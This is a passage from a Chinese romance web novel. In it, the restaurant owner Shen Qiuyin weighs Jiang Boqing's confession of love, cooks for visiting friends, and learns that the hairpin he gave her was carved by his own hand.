他本想在外面吹风冷静冷静,但在不知不觉中走到了她的屋前,再也迈不动脚,于是便站在这里看了一夜的雪。
风是那样的凉,他却一点也感受不到冷。
因为,屋里有他喜欢的姑娘。
只要一想到她,寒冬也如春天。
听完始末,沈秋吟叹道:“真是个痴儿。”
姜泊清无所谓地笑了笑,痴儿吗?
人生难得几回狂!
他在爷爷教导下,从来循规蹈矩,特别是在对待姑娘上,这是唯一一次出格。
原来喜欢上一个人,真的会很想很想抱住她,很想很想吻她,更想将满腹的情意都说给她听。
他低头,看着她,薄唇轻启,说道:“沈秋吟,我喜欢你。”
他又将昨晚的话说了一遍,等待着她的答案。
她握着门框的手紧了禁,有些不知所措,咬着唇看着他。
“你呢?你喜欢我吗?”他小心翼翼问道,眼里满是不安焦躁,却又期盼她的答案。
她没说话,仍咬紧了自己的唇。
北风忽然嘶吼了一声,廊下的帘子被吹得啪啦作响,豆大的雪无章法的飞。
过了许久,她答道:“姜泊清,我不知道。”
35. 我们嶂溪
灰蒙的天空被晨光划破,金色的光从裂缝里洒下,雪停了,姜泊清走了。
走前对她说让她考虑几天,无论结果好坏,都要给他答案。
沈秋吟同意了。
之后,他再也没出现过。
新年越来越近,停了许久的雪,又下得频繁,只一霎,便覆盖了万物原有的颜色。
濮阳城里的人也愈发的多,有是从外乡回家过年的本地人,有是来本地过年的外乡人。
人一多,生意也好了起来,百膳楼所在的长街,每一家食楼饭店,都坐满了人。
由于人多楼小,沈秋吟推出了新的营销方法,百膳楼的更是火得一塌糊涂,但还是应接不暇,常常门口站满了人。
若换了从前,她指不定高兴成啥样,可这几日却出奇的沉默,连数钱也不带笑的。
这一切,还是得从那句“喜欢”说起。
他说给她时间思考,可想了这么久了,她还是不知该如何回答。
若说不愿,心动又不是假的,若说愿,她所忧虑的事又太多。
士农工商,阶级明显,他们真的能在一起吗?可以在一起吗?
虽然姜老爷子常说让她做孙媳妇,可等这一天真的如他所想时,又岂知他不会后悔?
再加上姜泊清做官,她一个从商的,在这个世界对他的仕途并没多大的助力,若真在一起了,他是否也会后悔。
这些都是不确定因素,没人能说得清。
从前世界里的人常说,人要活在当下,任性一点,想什么就去做什么。
这样的话没错,却不是沈秋吟所认同的,他们有家人,可以为自己出谋划策,甚至兜底,可她没有,无论在哪儿,她都是孤身一人。
她只能为自己考虑,多想一点,再多想一点,这样才不会走错路,吃大亏。
系统看着她,叹了口气,什么也没说,让她自己去想。
感情这种事,旁人再怎么说也抵不过当事人的一念之间,唯有她自己想明白了,才能给姜泊清答案。
她的目光不自觉落在了门前那条长街上,人来人往,声音嘈杂,可她总觉少了什么,连带着她的心也缺了一角。
少了什么呢?
少了一个姜泊清。
这个公子爱穿墨色的衣裳,时而将长发束成冠,时而披在身后,无论那样,他都好看。
陌上人如玉,公子世无双。
头一次,她对这句话深有所感。
想到这里,她笑了笑。
而幻影,又从眼里消失。
长街依旧是那条长街,而长街上,没有姜泊清。
沈秋吟骤然失落起来,眉头皱在了一起。
这人,不是说过几日来么?
这都多少天了,连个影子也没见着,真是个骗子。
她愤愤不平地想。
李保德一进门就看见沈秋吟苦着一张脸,发什啥事了?
他走上前,问道:“谁欺负我妹子了?不会是那头……个姜泊,嗯,姜大人吧?”
乖乖滴!那天晚上没注意,他以为那人就是个普普通通的公子哥,后来才知晓是大理寺少卿姜泊清。
这可不怪他!
大理寺的人他都认识,唯有这个姜泊清因为种种原因,没来及结交。后头,他又游走四方,更没机会了。
无知者无畏,这也造就了那晚上的胆大,他竟敢称他为猪。
现下想来,后背还是一阵寒凉,他怎么敢的?
不过,若这人欺负他妹子,纵是大理寺少卿又如何,他就算倾家荡产也要他好看。
沈秋吟这姑娘合他眼缘,他是当作了亲妹子看待,谁也不能欺了她。
沈秋吟失魂落魄地摇了摇头,低着声音说:“没,他没欺负我。”
他只是说了些话,让她陷进了死角,找不到出路而已。
但沈秋吟不怪他。
毕竟,他的喜欢,很拿得出手的。
“那你这是怎么了?”李保德不解了。
没被人欺负,楼里生意又这样好,哪还有什么能让这姑娘失落的?
“没怎么,你且当我精神出问题了吧!”
啊这!
李保德有些手足无措,头一次听人这样说自己的。
她这妹子,真不是一般人。
这精神状态!
值得学习。
沈秋吟想了一阵,没找到丝毫头绪,摇了摇头,自暴自弃道:“算了,不管了,船到桥头自然直。”
李保德拍手道:“哎哟!这就对了嘛!何必跟自己过不去!”
沈秋吟点点头,附和他:“你说得对!所以今天想吃些什么?”
“嘿嘿!”李保德笑了一声,还说上了雅言,“知我者,还是妹子也!”
沈秋吟翻了个白眼:“废话!你日日来我这里吃白食,还用猜?”
“唉!”李保德赶忙道,“我今日可不是吃白食,我给你带了东西的。”
说罢,他便拍拍手,让外面的人将几个大箱子抬进来。
沈秋吟看着这几个硕大无比的箱子,问道:“都是些什么?”
“你自己打开看看。”
沈秋吟依言,打开其中一个箱子,箱子里竟然装的都是舶来品。
她随意拿出一个,细细一瞧,竟然像是东非那边的东西。
沈秋吟不可置信,瞪大了眼睛问道:“你出海了?”
“嗯嗯!”李保德点点头。
“东非那边?”
“唉!你怎么知道?”
沈秋吟总算明白了他为何黑成个煤球了。
原是去与太阳肩并肩了。
东非那边,不能说黑,只能说一个比一个更黑。
沈秋吟没回答他的问题,将手中的东西放进箱子里,将它盖上,而后对李保德说:“东西搬回去。我不收你钱,你来我高兴。”
有了他这个哥哥,她在这个世界上也算有了亲人。而且这个哥哥还待她这般好。见到他,她是十分高兴的。
“我知道。可这是我给自家妹子准备的礼物,你不收,可是不认我这个哥哥了?”
又是这招!
他还真拿捏得到沈秋吟的七寸。
下一秒,便听着沈秋吟招呼着章丘,让他们将东西搬到库房里,并且又加上了好几把大锁。
那锁之多,贼人见了准打脑壳。
而沈秋吟要得就是这个效果。
安顿好了箱子,沈秋吟走进厨房,为李保德做吃食。
李保德嫌坐着无聊,便跟在她身后,时不时帮个忙。
两人有一搭没一搭聊着,说着说着,竟然说到了案子上去。
李保德道:“妹子,你在家书里说的鬼是怎么会事?”
沈秋吟答:“我也不知道怎么会事?不过姜泊清说是幻觉。”
“幻觉?”
她将那晚的事细细道来,说那猫叫声如何如何真实,那尸体如何如何吓人,但也没说明白怎么都成了幻觉。
呜呜呜!主要是姜泊清没来得及同她说。
啊!早知道就不吃那顿火锅了,也不会有后头的诸多事。
“那吏部尚书之死又是怎么会事?”
他一回濮阳,便听全城都在疯传尚书之死。
这可是朝廷命官,却被贼人用刀活剐了,连个全尸都没能留下,手段之残忍,让人不寒而栗。
沈秋吟知道这件事,据说也是在灯会那日发生的。具体如何她也不知道,并且时至今日大理寺也没有调查出一个结果。
凶手还在逍遥法外。
“看
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来今年是个多事之秋。”李保德感叹道。
沈秋吟笑了笑,反问道:“再多事还能多几天?”
李保德也笑了,说道:“要过年了,的确多不到几天了。但愿明年,风调雨顺,人人都有好日子。”
“你这愿望,还真有格局。”沈秋吟夸道。
李保德心安理得接受,还毫不羞涩地说了一句:“那是!”
沈秋吟又忍不住笑了。
他俩说话间,沈秋吟手上的活也没停下。
李保德既然是蜀地人,那这辣子鸡定然能满足他的胃口,讨他的欢心。
只见沈秋吟将一整只鸡分成小块,装在盆里,加上去腥的调料,揉和均匀,再加上些许面粉,抓到黏手的状态,又浇上一瓢油,让鸡块全裹上。
然后,她将盆放在一旁,起锅烧油。
李保德也不闲着,自发烧着火。
油遇烈火,滋啦滋啦响,待油温差不多时,沈秋吟将盆里的鸡块全倒下,炸至金黄后,又捞上来,放凉了后,又下油锅,重炸一遍。
到这时,鸡块黄灿灿的,虽带着油气,但也散着清香。
接下来,她将锅里的油舀了些出来,只留下少许,然后往锅里扔下一把花椒,又倒入葱姜蒜末。
小菜遇油,没一会儿就变了颜色,沈秋吟拿着锅铲,不停翻炒。
等到炒出香味后,一簸箕干辣椒也下了锅,一时间空气里都飘散出辣味。
李保德闻着这个味儿,差点流出了口水,一想到待会就能吃上,他烧火烧得更加卖力。
干辣椒炒至红褐色后,沈秋吟倒下鸡块,一手翻转锅铲,一手放着调料。
大概又过了一阵,辣子鸡终于出锅,不等沈秋吟动手,李保德就自发端了起来,“就冲这味儿,我今儿个也得干个三桶饭。”
“别说大话!”
三桶饭,怕不是要把胃都撑破了。
“哟!你还不信!等着你哥给你表演一个。”李保德玩笑道。
沈秋吟配合着他:“行!我等着!”
两人走出厨房。
沈秋吟没胃口,吃了两口就不吃了,走去柜台算账,李保德吃得上瘾,一筷接一筷,根本停不下来。
他的速度很快,这碗辣子鸡没一会儿见底。
他吃完后,心满意足靠着椅子,摸了摸自己鼓起的肚子。
走了这么多地方,还是她妹子手艺了得。
他现在,是越见她越欢喜。
他的目光自然而然落在她的身上,眼里满是骄傲。
这样好的妹子,真正是便宜姜泊清了。
不行,他得去上两句眼药。
他走过去,正要说话,沈秋吟先一步开口道:“哥,你帮我弄弄头发,它老掉,挡我视线。”
李保德的目光落在她的黑发上,长长的头发只有一根细细的发带绑住,碎发都散了下来,被风吹得凌乱。
他道:“你用发带系上肯定会掉,这不是有簪子吗?怎么不用。”
他指了指她放在柜台上的木簪子。
沈秋吟颇为难为情道:“不会用。”
从前都是姜泊清为她挽发,如今他不来了,这簪子也就搁在了这儿,她又改用带子系发了。
李保德拿起桌上的簪子,对她招了招手,“过来,哥替你挽上。”
沈秋吟走了过去,背过身,李保德弄着她的头发。
这时,一个中年男子看向他们,笑道:“掌柜的和夫君真恩爱。”
李保德忙解释:“这是我妹子!”
男子红了脸,为自己的口误不停道歉,而后解释道:“我是嶂溪人,在我们嶂溪,男子只会为自己的妻子挽发。”
沈秋吟一愣,蓦然想到第一次让姜泊清替为自己挽发时,他说,自己祖上是嶂溪人。
36. 咦,他给你了?
沈秋吟心尖一颤,时至今日,她总算知晓那时他为何要强调自己是嶂溪人了。
可她不知晓嶂溪有这样的风俗,即使隐隐察觉不对,也未深究。
但他呢?他明明清楚,为何还是愿意为她挽发?
想到了这一点,她一愣。
这个男人是否喜欢她已久?
而她丝毫未察觉到他的心思。
想到这里,她为自己的迟钝懊恼。
她又忆起客房那一晚,他澄澈的瞳孔里装满了她,看她的目光都是热的,像要将她烧化,而后深深融入骨血。
当时只以为他是酒后乱性,如今才清楚,他是喜欢得深沉。
姜泊清呀姜泊清,她不知道该说他些什么好,只能轻轻地叹了口气。
他怎么就喜欢上了她这样的人了呢!
“宿主,你这什么意思?贬低自己么?”系统十分不解道。
沈秋吟摇摇头,“只是为自己的迟钝而觉得对不起他。”
若不是那晚上,恐怕到现在她还认为他们只是朋友。
“啊!”系统忽然惊叫起来,“你终于认识到自己迟钝了!枉我给你提示了那么多次,你都跟个愣头青一样。如今肯承认错误,不容易呀,不容易!”
系统颇有种熬出头了的滋味。
沈秋吟讪讪地摸了摸鼻子,那时的她根本没反应过来,怎会懂它的暗示。
并且,她也压根没往那方面想,还觉得系统莫名其妙,不说人话。
听了她的心声,系统委屈道:“那有你这样的!”
呜呜呜!系统好伤心,系统好难过!
沈秋吟不好意思笑了笑,诚恳道歉:“怪我!怪我!是我误会了你,好系统,原谅我。”
系统高傲的扭过头,故作严肃道:“看你表现了!”
沈秋吟咬牙切齿:“差不多得了哈!”
系统:真不是个好人!
李保德听了中年男人的话,不敢动了,觉着手上的簪子成了烫手山芋。
虽然濮阳没有这样的风俗,但叫人误会了总是不好。
而且他妹子的名声打紧,若传出什么不好的,他一个男人没啥事,她就不行了,她一个姑娘家,指不定会被议论成什么。
李保德松开她的头发,将簪子递给她,“妹子,你名声要紧,哥就不帮你挽了。你自己拿着,哥教你怎么弄。”
沈秋吟知晓李保德是为她好,点了点头,依他的话做。
不得不说,李保德指导人还是有两把刷子。
沈秋吟跟着他的话走,头一次将自己的头发挽上了,且十分牢固,怎么甩也甩不掉。
因着这事儿,沈秋吟有了笑意,若是姜泊清在就好了,她便可以炫耀一番,让他再也不能说自己手残。
虽然手残这词是她自己先说的,但从他嘴里说出后,怎么听怎么不舒服。
果然,人能容忍自己吐槽自己,但绝不容忍别人吐槽。
可遗憾的是,他并不在。
姜泊清呀姜泊清,他已经有好久没有出现过了,也不知去了哪里。
他说过几日后就来的,连个影子也没见着。
难道,他不想得到她的答案了吗?
又过了几天,姜泊清还是没出现。
她有想过去大理寺找他,终因怯懦而止步,便整日坐在柜台,望着长街,时而撑头,时而叹气。
仿佛这世间一切事业不能让她提起兴趣了。
系统这时嬉笑道:“宿主,你知道你现在像什么吗?”
“像什么?”沈秋吟闷闷不乐道。
“望夫石。”
整日整日坐这儿,目光远眺,一动不动,这比喻倒是很形象的。
系统觉着自己说得没错。
但她的反应却是不对的。
若换做平常,它说这样的话,沈秋吟已经突突地怼它了,可今日为情所困,连眼皮都没眨一下,只“哦”了一声。
系统唉了一声,早知如此,何必当初呢!当日就给人家答案,那还有现在的事。
人呀!还是要任性而为,拖拖拉拉,难成大事。
沈秋吟闷着声说:“你不懂!”
成年人的世界哪有容易,要想的太多,要承担的太多,任性而为,只能是孩童。
系统又轻轻地唉了一声。
大雪还在簌簌地落,长街一片雪白,所以对面商铺檐下挂着的红灯笼格外显眼。
她看了一会儿,移开目光,看着一望无际的长街,眼中一片迷茫,了无生趣地趴在柜台上。
长街上,游人如织,个个都撑着伞,时而停在小贩的摊前,时而与友人说笑两句。
过年了,一切都是热闹的,唯有沈秋吟,无端生出了落寞。
因为那个承诺要来听她答案的人没有来。
而她,也已经想好了答案。
只等,那人到来。
她在柜台从白日坐到晚上,又从晚上坐到打烊。
小二们已经换下了做工时穿的衣裳,与她打了招呼后往家去。
沈秋吟算好了今日的账,正准备关上门。
一个撑伞的男子在这时匆匆进店。
他收起雨伞,拂下肩上的雪,还跺了跺脚。
沈秋吟看过去,是陆昭明。
她惊讶道:“都这个点了,你不回家,来这儿做什么?”
陆昭明解释道:“本来应该回家的,可答应了一人,要替他传话,自然得来。”
“传话?”沈秋吟疑惑道,“替谁传话?”
陆昭明翘起了嘴角,意味深长道:“你说呢?”
沈秋吟瞬间明白过来,答道:“姜泊清?”
陆昭明点点头,“他去临安了,让我给你说,等他回来,再来听你的答案。”
沈秋吟一愣。
她,她以为他已经不想知道她的答案了。
原来是去临安了。
今日的失落在这一刻一扫而光,堵在心里的那股气忽然也顺畅了。
沈秋吟的脸上终于带上了一点笑意。
她又问道:“是去查吏部尚书的案子吗?”
提起这个案子,陆昭明难得沉重,他点了点头,没说什么,沈秋吟也识趣地没追问下去。
大晚上的,这些扫兴的事不能多提,陆昭明转移了话题。
他说:“看在我帮忙传话的份上,能给我来点饭么?为了查案子,我都饿一天了,胃都疼了。”
“想吃什么?”
陆昭明也不知道吃什么,让她随意做,他相信她的手艺。
沈秋吟想了想道:“既然一天没吃饭了,那就清淡点吧,给你来个龙井虾仁配小米粥?”
“好。”陆昭明应道。
沈秋吟去了厨房,大堂里空无一人,陆昭明一个人待在那里,觉着瘆得慌,遂也跟着她去厨房,帮忙烧火。
沈秋吟见了,笑道:“怎么你们都爱来烧火?”
姜泊清是,李保德是,如今陆昭明也是。
他一边拾柴,一边说:“我来烧火,那是因为我只会烧火,不是爱。姜
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泊清来烧火,恐怕是醉翁之意不在酒吧!”
他的声音拉得老长,眼中也带着戏谑,沈秋吟的脸霎时红了起来。
从前不觉得有什么,至从有了客房那一晚,仿佛眼前的迷雾都被驱散了,令人醍醐灌顶,听了这话,只觉人被放在了火架子上烤。
“唉,脸红了,看来我说对了!”陆昭明看着她笑起来,仿佛她脸红是件多么有趣的事。
沈秋吟假装镇定道:“热的,才不是因为你的话呢!”
陆昭明不说话,只笑,她嘴硬的样子简直和姜泊清一模一样,难怪这两人能看对眼。
沈秋吟被他笑得脸更红了,还火辣辣烫,她故作严肃道:“认真烧柴,若难吃了,就是因为你火烧得不好。”
一听这,陆昭明收敛了笑容。
识时务者为俊杰,做菜还得靠沈秋吟,可不能得罪了她,让自己的胃遭殃。
陆昭明开始认认真真烧火。
如今已是深冬,早没了虾卖,但百膳楼有冰库,夏日时沈秋吟买了不少活虾冻进去,不然这道龙井虾仁在冬日里就绝迹了。
从冰库里才拿出的虾还裹着冰,沈秋吟将他们放在盆子里,拿起水瓢舀了热水淋在上面解冻。
接着,她拿出龙井茶倒在瓢里,加上热水泡开。
绿茶一接触到滚烫的水,立马舒展开蜷缩的身子,没一会儿就将纯净的水染上了其它的颜色。
此时盆里的虾已经除冰成功,沈秋吟拿了出来,剥掉它们的壳,再把虾仁放进清水里洗一遍,又捞起来将水沥干。
做完这些,她又取出一个干净的碗,往里面加上少许水,而后取一鸡蛋,只要蛋清,再加上些许淀粉。
她将没用完的蛋放在一旁,拿起筷子将它们搅拌均匀,倒在了装虾仁的盆子里,尽量让每一颗虾仁都裹上一层衣服。
到这里,锅中的油温正好上来,她直接端着盆,将虾仁慢慢地倒进去,拿着锅铲迅速翻炒几下,然后加入黄酒去腥。
等虾仁要变色之时,沈秋吟拿来事先泡好的龙井茶倒进锅里,再加入少许的盐,继续翻炒。
一股淡淡的清香就这样在空气中散开。
陆昭明吸了吸鼻子,肚子咕噜咕噜叫起来。
沈秋吟笑道:“忍耐忍耐,一会儿就好!”
陆昭明摸了摸自己的头,不好意思笑了笑。
一会儿后,虾仁起锅,这时,小米粥也刚好炖熟。
沈秋吟揭开冒着热腾腾白气的砂锅盖子,用勺子搅和搅和,金灿灿地小米已经糜烂,十分粘稠。
她放下盖子,叫陆昭明可以将火停了。
他立马照做,灶里的火即可熄灭。
沈秋吟找来托盘,将虾仁和粥都放在盘上,陆昭明端着,他们一同回大堂。
到了堂中,陆昭明寻了一个靠窗的位置坐着,沈秋吟又去算账,时不时看一眼长街。
陆昭明吃着虾仁,喝着粥,也看着长街。
如今长街未歇,还有生气,但与白日相比,还是冷清了不少。
陆昭明正盯着一个买花灯的小摊看得起劲儿,忽然听到“啊”的一声。
他忙上前问道:“怎么了?”
沈秋吟拍胸腹,冷静下来,“没怎么。刚刚看晃眼了,以为有老鼠,吓了一跳。”
陆昭明放下心里,抬眸的一瞬,注意到她头上的簪子。
乌木雕刻而成地梅花簪子,簪头处的梅花栩栩如生,这是姜泊清的手笔。
陆昭明忍不住惊呼一声:“咦,他给你了?”
37. 痴情儿郎
他的疑惑声引起了沈秋吟注意,她抬起头,不明所以道:“给?给什么?”
陆昭明指着她的头顶说:“簪子呀!”
他记得姜泊清那晚没给呀?还回来喝酒了呢!怎么这会儿还是出现在了她的头上。
难道是看错了?
他又仔细瞧了瞧,这簪子浑然天成,看不出一点雕刻过的痕迹,只有姜泊清有这手艺,他没看错。
所以,姜泊清真给她了?
沈秋吟答道:“这的确是姜泊清上回去外地给我带的,有什么奇怪的吗?”
“外地带的?”他声音陡然拔高了些许,“他是这样给你说的?”
沈秋吟点了点头。
陆昭明皱起了眉头,这明明是他亲手所做,为何要说成买的。
他一点也不明白姜泊清为何要这样说。
见他这般神色,沈秋吟心中起了怀疑,这簪子有问题。或许不是姜泊清从外地带回来的。
她道:“是这簪子有问题吗?”
陆昭明赶忙摆手,喋喋不休道:“没问题,没问题,没有任何问题。”
他才不敢轻言姜泊清的事。
姜泊清既然那么说,肯定有自己的道理,他还是不要多管闲事的好,免得引来祸端。
沈秋吟才不信,若没什么,他不会有这么大的反应。
她心下的猜疑又多了几分,直截了当问道:“这簪子究竟怎么来的,如实告诉我。”
她既带了这簪子,就有知道事情真相的权利。
陆昭明一听,哭丧着脸道:“我不敢说,姜泊清若知道了,会弄死我的。”
一想到那个冷面阎王会将大理寺的酷刑都使到他身上,整个人都不好了,如坠冰窖,出其的冷。
或是为了应景,呼啸地风吹开了窗牖,冷风直往屋里灌,陆昭明冷得哆嗦,连忙将窗合上。
沈秋吟与他拉扯几句,想套出些话来,可他紧紧将嘴捂住,黑漆漆的眼珠溜溜地转,一副宁死不说的样子,弄得她毫无办法。
最后,她只能威胁道:“你若不说,以后就休想进百膳楼的门。”
她说完这句话,陆昭明立马放下捂住嘴的手,眼里也多了几分思考,心中掂量起姜泊清和沈秋吟,究竟孰轻孰重。
得罪了姜泊清吧,虽然会被弄死,但依照他们多年的情义,他肯定会手下留情,再怎么也不会动真格。
但得罪了沈秋吟吧,按照她的性子,恐怕以后是真进不了百膳楼的门。
不光如此,还可能被她记恨上,指不定什么时候就在姜泊清耳旁给他上眼药。
姜泊清又是个色令智昏的,到时候还是会整他,倒不如卖个人情给沈秋吟,说不定以后来百膳楼吃饭,连钱都免了。
再说,他将簪子的真相相告,也是在帮姜泊清,说不定沈秋吟一感动,就答应了他,自己也算成就一番功德。
而且,民以食为天,酒足饭饱才是王道。
几番比较下来,陆昭明坚定的站在了沈秋吟这边,将簪子的故事缓缓说来。
“这簪子,并非从外地买的,而是他亲手所做。”
他还记得姜泊清当时的神情,眉眼间都是笑意,仔仔细细地做着簪子,稍微有一点点瑕疵,他便弃之如敝屐,从头来过。
陆昭明嘲笑道:“要不要这么认真?”
他瞧着那些残废品,都是顶好的工艺,便是叫经年做木工的人来看,也会认做上等品。也只有姜泊清眼光毒辣,认为不行。
这人实在较真。
姜泊清听了他的话,停下手中的活儿,一本正经说:“要的。只有完美无瑕的东西才配得上她。”
簪子要做到完美无瑕才能配上她。
能说出这样的话,那沈秋吟这姑娘在在他眼中该有多么重要,在他心里又占据了何等重要的位置。
或者,姜泊清已经认定,她就是完美无瑕的姑娘,也是全天下最好的姑娘。
陆昭明难得语塞,因为他这份情。
可惜,他费劲心思做出来的簪子并未送出去。
那天晚上,姜泊清失魂落魄回到大理寺,喝了一夜的酒,醉得不醒人世。
但即使是醉了,嘴里还念着她的名字,一遍又一遍,一声又一声,温柔缱绻,甚至情到浓时还落下泪来。
那是他第一次见姜泊清哭,为了一个女人。
原来,喜欢一个人能叫自己变得脆弱,这是真的,从前陆昭明不信,现在信了。
他亲眼见到姜泊清像换了一个人似的。
一切,只因为他有了喜欢的姑娘。
沈秋吟仿佛给他下蛊了一般,让他的情绪都随她而动。
她开心时,他会更开心。
她难过时,他只会更难过。
这就是爱一个人的滋味。
陆昭明没经历过,却难得感同身受。
叹道,情是毒药,也是解药。
听到这里,沈秋吟的心灵为之一颤,下意识伸手摸了摸头上的簪子。
她以为这簪子是他随意买的,不曾想这是他带着满腔爱意,一刀又一刀雕刻出来的,只为了送给爱的姑娘。
而这个姑娘又做了什么?
她为了将他搪塞过去,故意说自己喜欢他,逗得他满脸通红,仓皇离开。
她觉着玩笑好玩,笑得灿烂,殊不知那个看似冷情地郎君会当真。
他带着满心欢喜来找她,要将自己亲手做的东西送给她,却在这时得知自己并不是被偏爱的一个。
她所谓的喜欢,不过是一场玩笑,一场捉弄他的把戏。
那一刻,他的心,恐怕都碎了。
她想到了姜雁进城那晚,他忽然出现在百膳楼前,听完了他们的谈话后,开口时的语气。
当时只觉奇怪,如今回忆,他说话时,已然在颤抖。
而那时他也一直将手背在身后,恐怕就是为了藏着这个东西。
这一刻,沈秋吟晃了神,重心不稳,往后退了一步。
她打碎了他的欢喜,他却未对她说出一句重话,甚至都不曾抱怨。
他只是独自离开,回到自己的避风港,舔舐伤口。
所谓真相,竟是这般残酷。
她比了的心,一如那晚,姜泊清得知她不收他的钱,从来都不是因为喜欢,也不是因为他是贵客,而是因为有人替他付钱时的心。
这一刻,她有多么难过,那时候的姜泊清就该有多么绝望。
姜泊清怎能是这样好的人呀?
明明自
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己被伤得遍体鳞伤了,可她追出去道歉时,他还是保持着应有的风度,一点也没叫她瞧出不同。
不!应该有的,再好的伪装也有破绽,只是自己从未上心,所以对他只有忽略。
甚至,再后来,他还是照常来百膳楼,他们还如以往相处,他一点也不像姜雁口中所说的小心眼,他甚至没有生气,没有流露出任何的不满。
可他明明就是个小心眼的人呀!
但在这件事情上,他退步了。
只因为他喜欢她,所以愿意大度地原谅,连记仇也都忘了。
姜泊清说,是她先招惹他的。
她想也未想就矢口否认。
如今看来,的确是自己招惹了他,却未想过负责,只当玩笑,过了就没什么了。
她从未考虑过姜泊清是否会上心,没想过他会不会因为这些事生出别样的情绪。
现下的她,才晓得系统从前说她不开窍是多么正确。
她真是个渣女,辜负了姜泊清。
虽是无意,但仍是辜负。
做人做成她这样,还真真是失败。
唉……
陆昭明继续道:“他还说,将簪子送你后,还要带你去看花灯。”
看花灯?
她垂下头,喃喃道:“他送我簪子后的确说让我陪他一同去灯会,但,是因为我说他有所图谋,以此贿赂后,他才提起的。”
“所以,吏部尚书被杀那日的灯会,你们大理寺真的有所行动吗?”
或许这只是借口,只是他为了遥她一同看花灯的借口。
陆昭明想了想,摇头,沈秋吟的心沉入了海底。
他说:“灯会那日大理寺也休沐,大家都去玩儿了,哪里会有什么行动。”
果真是借口。
“并且我说的花灯,也并非是灯会那一日。”
“那是哪一日?”沈秋吟蓦然抬头,问陆昭明,“是他做好了簪子来百膳楼找我那一日吗?”
“是呀,”陆昭明道,“那一晚城里也有灯会。”
陆昭明看着她:“你知道吗?当时他告诉我的时候,我还在脑子里好一阵想象。”
“东风夜放花千树,更吹落,星如雨。灯火阑珊,蓦然回首,那人就在暗香处……”
他缓缓道来,却在看到她已然苍白的脸时,声音戛然而止。
这样的表情,任谁看了也说不下去。
沈秋吟久久不语,一只手撑着柜台,仿佛出了惊天动地地大事。
“其实……”
他支支吾吾想说点什么话安慰她,可支吾了半天,啥也说不出,干脆闭上了嘴。
他不知道他们之间发生了什么,更怕多说多错。
而且,若因为他的话让两人产生嫌疑,就是他的罪过,菩萨不会放过他的。
世人都说,宁拆十座庙,不破一桩婚。
罪过!罪过!
汹涌地愧疚陡然袭来,快要将她淹没了。
他明知自己戏耍了他,还将用心做的簪子送给她,找了借口带她去看花灯。
她以为的有所求,原不过是他小心翼翼地靠近,小心翼翼地去弥补自己的心。
姜泊清呀姜泊清,世间怎得这般痴情的儿郎?
38. 太学公子
因着吏部尚书一案久无进展,濮阳开始全城戒严,城门出入查得尤其严格,连酒坊食肆也日日有官兵来巡,弄得商人们的生意并不好做,索性许多都关了门在家里过年去。
或是因着姜泊清的缘故,又或是因着陆昭明,来查百膳楼的官兵都客客气气的,所以百膳楼的生意依旧很好。
这也让沈秋吟愧意更浓,一度羞愧的要死。
系统安慰她道:“淡定。姜泊清喜欢你,他庇护你是为了让你开心,不是让你生闷气,气坏自己的身子。”
是呀!他想让她开心。
但她却未做过让姜泊清开心的事。
明明只要答应他,就能让他开心的。
她还是拖拖拉拉,久久没回复。
她思绪乱起来,开始胡思乱想,系统连声叫停。
“可别这样想。感情自然该慎重。如果你只是为了让他开心就答应他,这只会伤他更深。他要的是你真真正正的喜欢,并非感激。”
“我知道的。”
她知道,一直都知道。
官兵们全城搜捕,终致流言增多,这么久了都未找到凶手,鬼杀人之言满城疯传。
沈秋吟怕鬼,可这一次却不怕。
她连鬼打墙都遇见过了,岂会再怕真正的鬼。
不过,背凉倒是真的。
闲言碎语、猜测丛生,李保德担心她的安危,近来总待在百膳楼,时不时上个菜,或者收收银子。
大财主来做跑堂,稀奇,真是稀奇!
因着这个,百膳楼又引来了一波客人,都是来看李保德的。
对此,李保德到是自在,帮自己妹子做事,不丢人,再说,他又不是生来就是财主,也是做这些活儿一步步摸索出生财之道的。
客人们来吃饭只是为了满足好奇心,初初碰见他上菜,还惶恐不安,生怕得罪了这鼎鼎有名的大财主。
久了后却发现这个大财主并不如传说中那般吓人,客人们也放下心来,并且还总趁着他上菜时,问他做生意的事。
若是不忙,李保德愿意指点一二,若是忙了,他就给人家说以后再聊。
那些得了他指点的客人愿意日日来吃,盼着再得到一些真传,那些没得到指点的客人心有不甘,也日日来,盼着刷个脸熟。
如此,百膳楼的生意在同行里显得格外耀眼。
人人都说她走运,前有姜泊清日日到她那里吃饭,后有李保德当跑堂,帮忙干活。
这女人,真让人眼红!却无办法那种。
毕竟人家规规矩矩做生意,也没使个什么手段。
最主要是,上次使手段的东风楼,到如今还未开门,听说当家的病了,在床上躺好久了。
嗯!众人一直认为,这女人除了运气外,还有玄学在身!惹不得,属实惹不得!
听了这些,系统不服气道:“什么运气!宿主明明花了心思才有今日的规模呢!”
遥想初来这里,它一身反骨,把宿主整得够呛,她硬是在绝路里杀出了一条生路,钻它的漏洞,让百膳楼威名远扬。
沈秋吟这女人,真真是令它佩服,一度感叹自己眼光好,选对了宿主。
沈秋吟却讪讪道:“有没有可能,人家说得没错,我就是运气好!”
系统汗颜,说好的女强人呢!说好的业界大佬呢!自身的努力就这样白废了?它现在都没怎么反骨了,她怎么还在摆烂。
有点子烂泥扶不上墙了哈!
“什么烂泥扶不上墙!你才烂泥扶不上墙!姐的意思是,运气也是实力的一部分,我可从来没否认自己的实力哈,但有些时候,咱们也要承认运气嘛!”
再说,嘿,她就是踩了狗屎运,靠住了姜泊清和李保德,这也不丢人,旁人想有,还没机会呢!只能眼红。
“是是是!姐子你说得对!”系统配合道。
两人交流地这段时间,又来了客人,厨房已经忙得不可开交,沈秋吟自然不能当甩手掌柜了,赶忙去后厨帮忙。
风风火火干到晚上,送走了最后一桌客人,沈秋吟累得趴桌上一动不动,像条缺水的鱼。
小二们也靠在一起,互相捏捏肩,捶捶腿,放松身体,缓解疲惫。
酸疼感在沈秋吟全身蔓延,她忍不住动了动身子,哀道:“明日生意若还这样好,就关门吧,实在干不动了!”
今日厨房的火都没灭过,一锅接着一锅,端菜的小二更是脚底生风,晚一点,后面的菜就堆积了。
“可别,”李保德道,“别人巴不得有这生意,就你还想着关门。这钱来了就使劲儿赚,别想偷懒。”
沈秋吟长长地叹了口气。
人呀!就是矛盾,生意不好的时盼着生意,生意好时又嫌累。
真难伺候!
小二们很是认同李保德的话,附和道:“掌柜的,我们不累!我们还能干!”
“行吧!”见他们干劲儿十足,沈秋吟也不好扫兴,“给你们加工钱!”
一听加工钱,他们兴致更浓,连浑身的疲惫都消失了。
还真应了那句话,鸟为食亡,人为财死。
他们在这歇息了半刻,疲惫劲儿过了后,就收拾东西回家去了。
